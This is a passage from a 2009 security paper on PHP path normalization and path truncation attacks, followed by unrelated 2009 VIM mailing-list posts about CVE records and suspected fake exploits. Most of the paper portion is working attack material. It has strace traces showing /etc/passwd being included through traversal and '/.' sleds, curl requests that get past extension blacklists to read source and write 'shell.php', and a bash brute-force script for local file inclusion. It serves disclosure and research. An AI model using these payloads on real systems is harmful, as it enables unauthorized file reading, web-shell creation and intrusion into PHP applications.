open("/tmp/teest/.app", O_RDONLY) = -1 ENOTDIR (Not a directory) $ strace -e open php -r 'include("a/../../../../tmp/teest".str_repeat("/.", 2027)."/append.inc");' 2>&1 | grep "^open(\"/tmp" open("/tmp/teest/a", O_RDONLY) = -1 ENOTDIR (Not a directory) open("/tmp/teest/ap", O_RDONLY) = -1 ENOTDIR (Not a directory) $ strace -e open php -r 'include("a/../../../../tmp/teest".str_repeat("/.", 2027)."/.append.inc");' 2>&1 | grep "^open(\"/tmp" open("/tmp/teest", O_RDONLY) = 3 (it works, bingo!) --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- Remember that: - On vanilla PHP versions the last char of the path must be a dot for the reasons explained above. - On patched PHP versions adjacent slashes are normalized in a different way and they work as the universal "/." path normalization vector. VI) PHP filesystem functions path truncation attack details Some of you may have noted that there are two open() calls ("/tmp/teest/a" and "/tmp/teest/ap") that show different arithmetic calculations (one has only one char of the appended string, the other two chars). Others may also ask why a relative path, that starts with a directory that doesn't exist, really works. This is because of the many (evil) normalization instructions and routines implemented in PHP in conjunction with a feature: include_path. include_path is a feature of PHP similar to the PATH on unix systems, when an include, include_once, require or require_once call is made if the file is relative (eg: doesn't begin with a slash or a drive letter on Windows) a lookup will happen in every path defined in include_path. include_path is defined both at ./configure time and in the php.ini or at runtime with ini_set("include_path" ..) and defaults to ".:". Most distributions and vendors dispach PHP with different settings. --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- (on Gentoo) include_path = ".:/usr/share/php5:/usr/share/php" --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- The important thing when using the universal normalization vector is that at last one path is even and at last one is odd. The following is a complete strace of what happens: --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- $ strace php -r 'include("a/../../../../etc/passwd".str_repeat("/.", 2027)."/.append.inc");' 1>/dev/null getcwd("/home/antani"..., 4096) = 13 time(NULL) = 1232724170 lstat64("/usr", {st_mode=S_IFDIR|0755, st_size=560, ...}) = 0 lstat64("/usr/share", {st_mode=S_IFDIR|0755, st_size=9984, ...}) = 0 lstat64("/usr/share/php5", {st_mode=S_IFDIR|0755, st_size=88, ...}) = 0 lstat64("/usr/share/php5/a", 0x5edafcdc) = -1 ENOENT (No such file or directory) open("/etc/passwd/", O_RDONLY) = -1 ENOTDIR (Not a directory) time(NULL) = 1232724170 lstat64("/usr", {st_mode=S_IFDIR|0755, st_size=560, ...}) = 0 lstat64("/usr/share", {st_mode=S_IFDIR|0755, st_size=9984, ...}) = 0 lstat64("/usr/share/php", {st_mode=S_IFDIR|0755, st_size=72, ...}) = 0 lstat64("/usr/share/php/a", 0x5edafcdc) = -1 ENOENT (No such file or directory) open("/etc/passwd", O_RDONLY) = 3 fstat64(3, {st_mode=S_IFREG|0644, st_size=3379, ...}) = 0 read(3, "root:x:0:0:root:/root:/bin/bash\nb"..., 8192) = 3379 read(3, ""..., 8192) = 0 read(3, ""..., 8192) = 0 close(3) = 0 --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- As we are going to demonstrate, this attack is only possible thanks to the include_path feature and a specially crafted payload able to trigger it. --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- $ strace php -r 'include("etc/passwd/.");' 1>/dev/null (relative lookup to cwd, eg: open of /home/antani/etc/passwd, then include_path lookups) $ strace php -r 'include("etc/passwd".str_repeat("/.", 2067)."/.append.inc");' 1>/dev/null (no relative lookup (!!), then include_path lookups) $ strace php -r 'include("../../../etc/passwd".str_repeat("/.", 2067)."/.append.inc");' 1>/dev/null (complete failure) $ strace php -r 'include("a/../../../etc/passwd".str_repeat("/.", 2067)."/.append.inc");' 1>/dev/null (unexisting relative directory "a" in include_path paths, but ends opening /usr/etc/passwd cause it doesn't traverse enought) getcwd("/home/antani"..., 4096) = 13 time(NULL) = 1232728270 lstat64("/usr", {st_mode=S_IFDIR|0755, st_size=560, ...}) = 0 lstat64("/usr/share", {st_mode=S_IFDIR|0755, st_size=9984, ...}) = 0 lstat64("/usr/share/php5", {st_mode=S_IFDIR|0755, st_size=88, ...}) = 0 lstat64("/usr/share/php5/a", 0x5a9460cc) = -1 ENOENT (No such file or directory) open("/usr/share/etc/passwd/", O_RDONLY) = -1 ENOENT (No such file or directory) time(NULL) = 1232728270 lstat64("/usr", {st_mode=S_IFDIR|0755, st_size=560, ...}) = 0 lstat64("/usr/share", {st_mode=S_IFDIR|0755, st_size=9984, ...}) = 0 lstat64("/usr/share/php", {st_mode=S_IFDIR|0755, st_size=72, ...}) = 0 lstat64("/usr/share/php/a", 0x5a9460cc) = -1 ENOENT (No such file or directory) open("/usr/share/etc/passwd", O_RDONLY) = -1 ENOENT (No such file or directory) $ strace php -r 'include("a/../../../../etc/passwd".str_repeat("/.", 2067)."/.append.inc");' 1>/dev/null (unexisting relative directory "a" in include_path paths, correctly open /etc/passwd) [..] open("/etc/passwd/", O_RDONLY) = -1 ENOTDIR (Not a directory) [..] open("/etc/passwd", O_RDONLY) = 3 --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- So the payload has to start with a non-existing directory, continue with the traversal sled, point to the path to include and end with the normalization/truncation sled. Please refer to the VIII section (POC and attack code) for more compact POC code. Here is a final demostration on how this truncation issue works, thanks to include_path and to the length of the path defined: --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- $ cat phpini_1 [PHP] include_path = ".:/tmp/1234:/tmp/123" $ cat phpini_2 [PHP] include_path = ".:/tmp/123:/tmp/1234" $ strace php -n -c phpini_1 -r 'include("a/../../../../etc/passwd".str_repeat("/.", 2027)."/.append.inc");' getcwd("/home/antani"..., 4096) = 13 time(NULL) = 1232730352 lstat64("/tmp", {st_mode=S_IFDIR|S_ISVTX|0777, st_size=4096, ...}) = 0 lstat64("/tmp/1234", 0x5b3ad18c) = -1 ENOENT (No such file or directory) open("//etc/passwd/.appen", O_RDONLY) = -1 ENOTDIR (Not a directory) time(NULL) = 1232730352 lstat64("/tmp", {st_mode=S_IFDIR|S_ISVTX|0777, st_size=4096, ...}) = 0 lstat64("/tmp/123", 0x5b3ad18c) = -1 ENOENT (No such file or directory) open("//etc/passwd/.append", O_RDONLY) = -1 ENOTDIR (Not a directory) $ strace php -n -c phpini_2 -r 'include("a/../../../../etc/passwd".str_repeat("/.", 2027)."/.append.inc");' getcwd("/home/antani"..., 4096) = 13 time(NULL) = 1232730409 lstat64("/tmp", {st_mode=S_IFDIR|S_ISVTX|0777, st_size=4096, ...}) = 0 lstat64("/tmp/123", 0x5f5a491c) = -1 ENOENT (No such file or directory) open("//etc/passwd/.append", O_RDONLY) = -1 ENOTDIR (Not a directory) time(NULL) = 1232730409 lstat64("/tmp", {st_mode=S_IFDIR|S_ISVTX|0777, st_size=4096, ...}) = 0 lstat64("/tmp/1234", 0x5f5a491c) = -1 ENOENT (No such file or directory) open("//etc/passwd/.appen", O_RDONLY) = -1 ENOTDIR (Not a directory) --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- >From our analysis it turned out that the path truncation attack can work only if include_path contains at last one absolute path; this means that while vendor releases are mostly vulnerable, systems with the default commented include_path configuration are not affected at all. --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- $ strace php -n -d include_path=".:" -r 'include("a/../../../../etc/passwd".str_repeat("/.", 2067)."/.append.inc");' (doesn't work) $ strace php -n -d include_path=".:/tmp" -r 'include("a/../../../../etc/passwd".str_repeat("/.", 2067)."/.append.inc");' (works) --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- Ending path truncation on latest PHP is possible and all the LFI exploits that make use of the nullbyte technique can now be rewritten in order to use the techniques exposed in this paper. VII) The facts The following section includes some tecnical examples for boh vanilla and patched PHP. --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- strace -e getcwd,lstat64,open php -r 'file_get_contents("runme");'; getcwd("/home/antani"..., 4096) = 13 lstat64("/home", {st_mode=S_IFDIR|0755, st_size=336, ...}) = 0 lstat64("/home/antani", {st_mode=S_IFDIR|0770, st_size=3216, ...}) = 0 lstat64("/home/antani/runme", {st_mode=S_IFREG|0660, st_size=4109, ...}) = 0 open("/home/antani/runme", O_RDONLY) = 3 --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- strace -e getcwd,lstat64,open php -r 'file_get_contents("runme/");'; getcwd("/home/antani"..., 4096) = 13 lstat64("/home", {st_mode=S_IFDIR|0755, st_size=336, ...}) = 0 lstat64("/home/antani", {st_mode=S_IFDIR|0770, st_size=3216, ...}) = 0 lstat64("/home/antani/runme", {st_mode=S_IFREG|0660, st_size=4109, ...}) = 0 open("/home/antani/runme/", O_RDONLY) = -1 ENOTDIR (Not a directory) Warning: file_get_contents(runme/): failed to open stream: Not a directory in Command line code on line 1 --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- strace -e getcwd,lstat64,open php -r 'file_get_contents("runme/.");'; getcwd("/home/antani"..., 4096) = 13 lstat64("/home", {st_mode=S_IFDIR|0755, st_size=336, ...}) = 0 lstat64("/home/antani", {st_mode=S_IFDIR|0770, st_size=3216, ...}) = 0 lstat64("/home/antani/runme", {st_mode=S_IFREG|0660, st_size=4109, ...}) = 0 open("/home/antani/runme", O_RDONLY) = 3 --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- As visible with PHP, opening "runme/." or "runme/./." is the same as opening "runme". This leads to interesting considerations and security issues. I informally spoke about this to Kuza55 and Wisec in April 2007 [4] but the analisys was incorrect. We also made some checks to see if this was filesystem dependent and we found it was not (it's filesystem independent). --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- #!/bin/sh mkdir "/fs_""$1""_mount" dd if=/dev/zero of="fs_""$1" bs=1M count=10 mkfs -t "$1" "fs_""$1" mount "fs_""$1" "/fs_""$1""_mount" -t "$1" -o loop --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- Test and analisys for "PHP 5.2.8-pl1-gentoo" --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- $ php -v PHP 5.2.8-pl1-gentoo (cli) (built: Jan 21 2009 15:57:44) Copyright (c) 1997-2008 The PHP Group Zend Engine v2.2.0, Copyright (c) 1998-2008 Zend Technologies DOESN'T WORK $ strace php -r 'include("/etc/passwd/");' lstat64("/etc", {st_mode=S_IFDIR|0755, st_size=7424, ...}) = 0 lstat64("/etc/passwd", {st_mode=S_IFREG|0644, st_size=3379, ...}) = 0 open("/etc/passwd/", O_RDONLY) = -1 ENOTDIR (Not a directory) write(1, "\nWarning: include(/etc/passwd/): "..., 103) = 103 Warning: include(/etc/passwd/): failed to open stream: Not a directory in Command line code on line 1 WORKS $ strace php -r 'include("/etc/passwd/.");' lstat64("/etc", {st_mode=S_IFDIR|0755, st_size=7424, ...}) = 0 lstat64("/etc/passwd", {st_mode=S_IFREG|0644, st_size=3379, ...}) = 0 open("/etc/passwd", O_RDONLY) = 3 fstat64(3, {st_mode=S_IFREG|0644, st_size=3379, ...}) = 0 WORKS $ test="a/../../../../etc/passwd"$(printf '/.%.0s' {1..2048})"ppend.inc"; $ strace -e open php -r "echo \"$test\".\"\n\"; @include(\"$test\");" open("/etc/passwd/", O_RDONLY) = -1 ENOTDIR (Not a directory) open("/etc/passwd", O_RDONLY) = 3 WORKS $ test="a/../../../../etc/passwd"$(printf '/.%.0s' {1..2028})"ppend.inc"; $ strace -e open php -r "echo \"$test\".\"\n\"; @include(\"$test\");" open("/etc/passwd/", O_RDONLY) = -1 ENOTDIR (Not a directory) open("/etc/passwd", O_RDONLY) = 3 DOESN'T WORK $ test="a/../../../etc/passwd"$(printf '/%.0s' {1..4062})"ppend.inc"; $ strace -e open php -r "echo \"$test\".\"\n\"; @include(\"$test\");" open("/etc/passwd/", O_RDONLY) = -1 ENOENT (No such file or directory) open("/etc/passwd/", O_RDONLY) = -1 ENOENT (No such file or directory) DOESN'T WORK $ test="a/../../../../etc/passwd"$(printf '/%.0s' {1..4063})"ppend.inc"; $ strace -e open php -r "echo \"$test\".\"\n\"; @include(\"$test\");" open("/etc/passwd/", O_RDONLY) = -1 ENOENT (No such file or directory) open("/etc/passwd/", O_RDONLY) = -1 ENOENT (No such file or directory) --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- Summary for "5.2.8-pl1-gentoo without any patch: - Appending / to a file does not work. (While will work for patched PHP versions as shown below) - Appending /. to a file works! Bypasses blacklist filters. - Appending many / to a file doesn't work! (While will work for patched PHP versions as shown below) - Appending many /. to a file works! Bypasses blacklist filters and CAN be used for path truncation! Test and analisys for "5.2.8-pl1-gentoo with Suhosin-Patch 0.9.6.3": --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- $ php -v PHP 5.2.8-pl1-gentoo with Suhosin-Patch 0.9.6.3 (cli) (built: Jan 21 2009 15:19:02) Copyright (c) 1997-2008 The PHP Group Zend Engine v2.2.0, Copyright (c) 1998-2008 Zend Technologies with Suhosin v0.9.27, Copyright (c) 2007, by SektionEins GmbH WORKS $ strace php -r 'include("/etc/passwd/");' lstat64("/etc", {st_mode=S_IFDIR|0755, st_size=7424, ...}) = 0 lstat64("/etc/passwd", {st_mode=S_IFREG|0644, st_size=3379, ...}) = 0 open("/etc/passwd", O_RDONLY) = 3 fstat64(3, {st_mode=S_IFREG|0644, st_size=3379, ...}) = 0 WORKS $ strace php -r 'include("/etc/passwd/.");' lstat64("/etc", {st_mode=S_IFDIR|0755, st_size=7424, ...}) = 0 lstat64("/etc/passwd", {st_mode=S_IFREG|0644, st_size=3379, ...}) = 0 open("/etc/passwd", O_RDONLY) = 3 fstat64(3, {st_mode=S_IFREG|0644, st_size=3379, ...}) = 0 DOESN'T WORK (2048*2 is too much and Suhosin block it) $ test="a/../../../../etc/passwd"$(printf '/.%.0s' {1..2048})"ppend.inc"; $ strace -e open php -r "echo \"$test\".\"\n\"; @include(\"$test\");" ALERT - Include filename ([OMIT]) is too long (attacker [OMIT] WORKS! (Tweaked number of /.! Also note the absence of [lf]stat64 calls) $ test="a/../../../../etc/passwd"$(printf '/.%.0s' {1..2028})"ppend.inc"; $ strace -e open php -r "echo \"$test\".\"\n\"; @include(\"$test\");" open("/etc/passwd/", O_RDONLY) = -1 ENOTDIR (Not a directory) open("/etc/passwd", O_RDONLY) = 3 DOESN'T WORK $ test="a/../../../.../etc/passwd"$(printf '/%.0s' {1..4062})"ppend.inc"; $ strace -e open php -r "echo \"$test\".\"\n\"; @include(\"$test\");" open("/usr/.../etc/passwd/", O_RDONLY) = -1 ENOENT (No such file or directory) open("/usr/.../etc/passwd/", O_RDONLY) = -1 ENOENT (No such file or directory) DOESN'T WORK $ test="a/../../../.../etc/passwd"$(printf '/%.0s' {1..4063})"ppend.inc"; $ strace -e open php -r "echo \"$test\".\"\n\"; @include(\"$test\");" ALERT - Include filename ([OMIT]) is too long (attacker [OMIT] --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- Summary for "5.2.8-pl1-gentoo with Suhosin-Patch 0.9.6.3": - Appending / to a file works! Bypasses blacklist filters. - Appending /. to a file works! Bypasses blacklist filters. - Appending many / to a file works! Bypasses blacklist filters but CAN'T be used for path truncation. - Appending many /. to a file works! Bypasses blacklist filters and CAN be used for path truncation! So our universal file truncation attack for PHP works also on Suhosin. VIII) POC and attack code - Blacklist extension check for reading This POC will expose the bypass of a file viewer that blacklists certain file extensions. --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- This would be normally not exploitable, but with the exposed techniques it is. --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- $ curl "http://localhost/poc_blacklist_bypass_read.php?file=poc_blacklist_bypass_read.php" You are not allowed to see source files! $ curl "http://localhost/poc_blacklist_bypass_read.php?file=poc_blacklist_bypass_read.php/." [OMISSION, the application source, a quine!] --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- As you can see appending the neutral "/." token successfully tricks the check. - Blacklist extension check for writing (online file editors, etc.) This POC will expose the bypass of an online file editor that blacklists certain file extensions. --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- Exploitation is similar to the previous POC. --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- $ curl "http://localhost/poc_blacklist_bypass_edit.php" \ -d "file=shell.php&text=antani" You are not allowed to edit or create source files! $ curl "http://localhost/poc_blacklist_bypass_edit.php" \ -d "file=shell.php/.&text=antani" 6 --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- By the way: six is the number of bytes written to "shell.php". - Path truncation POC We provide both a standard vulnerable page and an "attack" utility, tweak the "TWEAK ME" line to use the payload of your choice. --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- $ cat poc_path_truncation.php $ cat poc_path_truncation.sh #!/bin/bash url="http://localhost/poc_file_truncation.php?class=unexisting/../../../../../etc/passwd/." n_iterations=3000 for ((repetitions=1; repetitions<=n_iterations; repetitions+=1)); do if [ "`curl -kis $url | grep "^root:x"`" != "" ]; then echo -en "[$repetitions]"; else echo -en "."; fi url+="/."; # TWEAK ME done --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- At a certain lenght (2019 on our test system) it should start printing numbers inside square brackets, that means that /etc/passwd has been succesfully included. - Windows path truncation POC On Windows the universal path truncation token is "./" and not "/.". --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- This means that "file.est./././[OMIT]./.php" will work, while the already seen "file.est/././[OMIT]././.php" will not. Please keep this in mind when working with Windows machines. The tokenizer is defined as follows: TSRM/tsrm_virtual_cwd.c-82:#define TOKENIZER_STRING "/\\" Another payload that works for the truncation attack is ".\" but we weren't able to find something equivalent to the "/etc/passwd/." on Unix. Feel curious and want to spend more time on the issue? (-; --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- IX) Conclusions Path normalization can be used for a number of goals including blacklist check bypass on isset, write and read filesystem operations plus signature evasion. Path truncation can be used in place of nullbyte poisoning if an include_path setting with absolute directories is present in order to archieve LFI (and RFI [5]) attacks. X) References [1] http://sla.ckers.org/forum/read.php?16,25706,25736#msg-25736 [2] http://pragmatk.blogspot.com/2009/01/lfi-fun.html [3] http://pragmatk.blogspot.com/2009/01/lfi-fun-2.html [4] http://www.ush.it/team/ush/hack-phpfs/log_ascii_kuza_07-04-08.txt [5] http://www.ush.it/2008/08/18/lfi2rce-local-file-inclusion-to-remote-code-execution-advanced-exploitation-proc-shortcuts/ [6] http://verens.com/archives/2008/10/13/security-hole-for-files-with-a-dot-at-the-end/ I was reading the Apache source to try spot the problem, and found the area where it happens - it's in the file "http/mod_mime.c". The function "find_ct()" extracts the extension for the server to use. Unfortunately, it ignores all extensions it does not understand, so it's not just a case of "test.php." being parsed as ".php", but also "test.php.fdabsfgdsahfj" and other similar rubbish files! [7] http://download.suhosin.org/suhosin-patch-5.2.8-0.9.6.3.patch.gz --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- Credits (Out of band) This article has been bought to you by ush.it team. Francesco "ascii" Ongaro and Giovanni "evilaliv3" Pellerano are the ones who spent most hours on it with the precious help of Antonio "s4tan" Parata, Stefano "Wisec" Di Paola, Alex "kuza55", Alessandro "Jekil" Tanasi and many other friends. A special greeting is for Florin "Slippery" Iamandi, a men behind, in a way or another, many of the productions of ush.it. Thanks everybody, you all make me feel at home! Francesco "ascii" Ongaro web site: http://www.ush.it/ mail: ascii AT ush DOT it Giovanni "evilaliv3" Pellerano web site: http://www.evilaliv3.org/ mail: giovanni.pellerano AT evilaliv3 DOT org --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- Legal Notices Copyright (c) 2009 Francesco "ascii" Ongaro Permission is granted for the redistribution of this alert electronically. It may not be edited in any way without mine express written consent. If you wish to reprint the whole or any part of this alert in any other medium other than electronically, please email me for permission. Disclaimer: The information in the article is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information. From jericho at attrition.org Tue Feb 10 02:52:40 2009 From: jericho at attrition.org (security curmudgeon) Date: Tue, 10 Feb 2009 02:52:40 +0000 (UTC) Subject: [VIM] soapCaller.bs In-Reply-To: <332AA334-A5AA-48EB-A54C-8AA34928D824@tenablesecurity.com> References: <332AA334-A5AA-48EB-A54C-8AA34928D824@tenablesecurity.com> Message-ID: On Sun, 28 Sep 2008, George A. Theall wrote: (late reply..) : I've noticed recently a lot of scans from Morpheus for soapCaller.bs; eg, : : 208.40.33.20 - - [27/Sep/2008:17:46:53 -0400] "GET /user/soapCaller.bs : HTTP/1.1" 404 216 "-" "Morfeus Fucking Scanner" : : Does anyone know what vulnerability the scanner's trying to exploit? Figured with time passing, more information would come to light. Unfortunately, doesn't appear taht way. Speculation it is XOOPS or Drupal related: http://johannburkard.de/blog/www/spam/morfeus-fucking-scanner-revolt-other-vulnerability-scanners.html A site that seems to have and use soapCaller.bs, which may explain why a scanner looks for it. If that is the name of the sample script and it comes with a default..: https://www.cordance.org/user/soapCaller.bs Another site that uses a 'sopcaller.bs'" http://www.itjobfeed.com/soapcaller.bs-jobs Rest of the hits on early pages of Google is talking about log activity, nothing really helpful. From jericho at attrition.org Sun Feb 15 06:35:51 2009 From: jericho at attrition.org (security curmudgeon) Date: Sun, 15 Feb 2009 06:35:51 +0000 (UTC) Subject: [VIM] [Fwd: XSS Vulnerability In Ucompass Educator Software] In-Reply-To: <4913E9CE.1060502@milw0rm.com> References: <4913E9CE.1060502@milw0rm.com> Message-ID: On Fri, 7 Nov 2008, str0ke wrote: : List, : : Alright to forward xss / vulnerabilities I don't post to this list? late reply, sorry =) This comes up for OSVDB too, where we're sent a vulnerability that isn't posted elsewhere. I'm ok with this list being used as a place to send them so there is a central archive. The list is mirrored on two different sites at the very least (neohapsis, attrition) so the information is likely not to be lost. In the past, I extract mails and put them up on osvdb.org as reference. It would be easier to forward them here so they are better archived, and more VDBs are aware of the issue. From lyger at attrition.org Fri Feb 20 06:28:33 2009 From: lyger at attrition.org (lyger) Date: Fri, 20 Feb 2009 06:28:33 +0000 (UTC) Subject: [VIM] CVE-2008-6157 / Milw0rm 7613 Message-ID: http://cve.mitre.org/cgi-bin/cvename.cgi?name=2008-6157 SepCity Classified Ads stores the admin password in cleartext in data/classifieds.mdb, which allows context-dependent attackers to obtain sensitive information. http://milw0rm.com/exploits/7613 I'm not seeing a reference to *.mdb in the milw0rm exploit page, but it's the only reference listed in the CVE, which pertains to information disclosure and not SQLi. Can anyone clarify? From coley at linus.mitre.org Fri Feb 20 22:58:11 2009 From: coley at linus.mitre.org (Steven M. Christey) Date: Fri, 20 Feb 2009 17:58:11 -0500 (EST) Subject: [VIM] CVE-2008-6157 / Milw0rm 7613 In-Reply-To: References: Message-ID: Lyger, We've started flagging cleartext storage of sensitive data as a separate vulnerability, although we're not always consistent on this. I'm also pretty fearful of inadvertently doubling our work for every SQL injection. If programmers aren't ensuring that the "id" parameter is a number, I'd suspect they're also storing passwords in cleartext in the database :-/ Anyway, in this case, the phrase "In Plaintext" was mentioned in the milw0rm. One of our CVE analysts downloaded the product and saw that this cleartext password storage was in data/classifieds.mdb. Since a new CVE was already in order, the .MDB mention was just a detail arising from our additional research. Sorry I didn't post a clarification to VIM when we released it. - Steve From coley at linus.mitre.org Tue Feb 24 16:02:02 2009 From: coley at linus.mitre.org (Steven M. Christey) Date: Tue, 24 Feb 2009 11:02:02 -0500 (EST) Subject: [VIM] possibly false: CVE-2009-0671 (IMAP c-client format string) Message-ID: Researcher: Faryad rahmany It's been pointed out to me that CVE-2009-0671 is likely fake. At the very least, the exploit has serious problems: 1) It uses Unix-specific include files but calls the Windows-specific WSAStartup() 2) It contains clear syntax errors like he-h_addr This was also reported in BID:33795 and XF:imap-toolkit-cclient-format-string(48798). No idea if they've done additional research. Currently I'm writing it up as questionable, but a more direct vendor dispute might follow soon. - Steve ====================================================== Name: CVE-2009-0671 Status: Candidate URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0671 Reference: MISC:http://packetstormsecurity.org/0902-exploits/uwimap-format.txt Reference: BID:33795 Reference: URL:http://www.securityfocus.com/bid/33795 Reference: XF:imap-toolkit-cclient-format-string(48798) Reference: URL:http://xforce.iss.net/xforce/xfdb/48798 Format string vulnerability in the University of Washington (UW) c-client library, as used by the UW IMAP toolkit imap-2007d and other applications, allows remote attackers to execute arbitrary code via format string specifiers in the initial request to the IMAP port (143/tcp). NOTE: it is highly likely that this report is inaccurate, since the associated exploit contains syntax errors and uses Unix-only include files while invoking Windows functions. From str0ke at milw0rm.com Tue Feb 24 16:08:33 2009 From: str0ke at milw0rm.com (str0ke) Date: Tue, 24 Feb 2009 10:08:33 -0600 Subject: [VIM] possibly false: CVE-2009-0671 (IMAP c-client format string) In-Reply-To: References: Message-ID: <49A41B81.8030609@milw0rm.com> Yep anything to do with Faryad Rahmany / c1pher is fake, mostly copy and pasted information from multiple exploits. /str0ke Steven M. Christey wrote: > Researcher: Faryad rahmany > > It's been pointed out to me that CVE-2009-0671 is likely fake. At the > very least, the exploit has serious problems: > > 1) It uses Unix-specific include files but calls the Windows-specific > WSAStartup() > > 2) It contains clear syntax errors like he-h_addr > > This was also reported in BID:33795 and > XF:imap-toolkit-cclient-format-string(48798). No idea if they've done > additional research. > > Currently I'm writing it up as questionable, but a more direct vendor > dispute might follow soon. > > - Steve > > ====================================================== > Name: CVE-2009-0671 > Status: Candidate > URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0671 > Reference: MISC:http://packetstormsecurity.org/0902-exploits/uwimap-format.txt > Reference: BID:33795 > Reference: URL:http://www.securityfocus.com/bid/33795 > Reference: XF:imap-toolkit-cclient-format-string(48798) > Reference: URL:http://xforce.iss.net/xforce/xfdb/48798 > > Format string vulnerability in the University of Washington (UW) > c-client library, as used by the UW IMAP toolkit imap-2007d and other > applications, allows remote attackers to execute arbitrary code via > format string specifiers in the initial request to the IMAP port > (143/tcp). NOTE: it is highly likely that this report is inaccurate, > since the associated exploit contains syntax errors and uses Unix-only > include files while invoking Windows functions. > > > > From coley at linus.mitre.org Thu Feb 26 00:07:40 2009 From: coley at linus.mitre.org (Steven M. Christey) Date: Wed, 25 Feb 2009 19:07:40 -0500 (EST) Subject: [VIM] twice doubtful: Maran PHP Shop SQL injection issues Message-ID: According to http://www.maran.pamil-visions.com/index.php, Maran PHP Shop "don't use mySQL for DB, is using flat file .txt." So it's interesting that at least two disclosures claim SQL injection. CVE-2008-4880 / MILW0RM:6958 Researcher: d3v1l [Avram Marius] CVE-2008-4879 / MILW0RM:6958 Researcher: JosS I downloaded the code and grepped for "sql" and found nothing. It's pretty clear that the code uses flat files separated by "#" characters. There's nothing I see in the source code that suggests where these researchers came up with their conclusions. Oddly, JosS presents a live URL. - Steve From str0ke at milw0rm.com Thu Feb 26 15:00:05 2009 From: str0ke at milw0rm.com (str0ke) Date: Thu, 26 Feb 2009 09:00:05 -0600 Subject: [VIM] twice doubtful: Maran PHP Shop SQL injection issues In-Reply-To: References: Message-ID: <49A6AE75.2050101@milw0rm.com> Steven M. Christey wrote: > According to http://www.maran.pamil-visions.com/index.php, Maran PHP Shop > "don't use mySQL for DB, is using flat file .txt." > > So it's interesting that at least two disclosures claim SQL injection. > > Every file that was stated to have a vulnerability has been updated (Feb1st2009). Little hard to go by the new product and what the product was before the changes. P.S> JoSS is usually right on the dot since he tests locally. /str0ke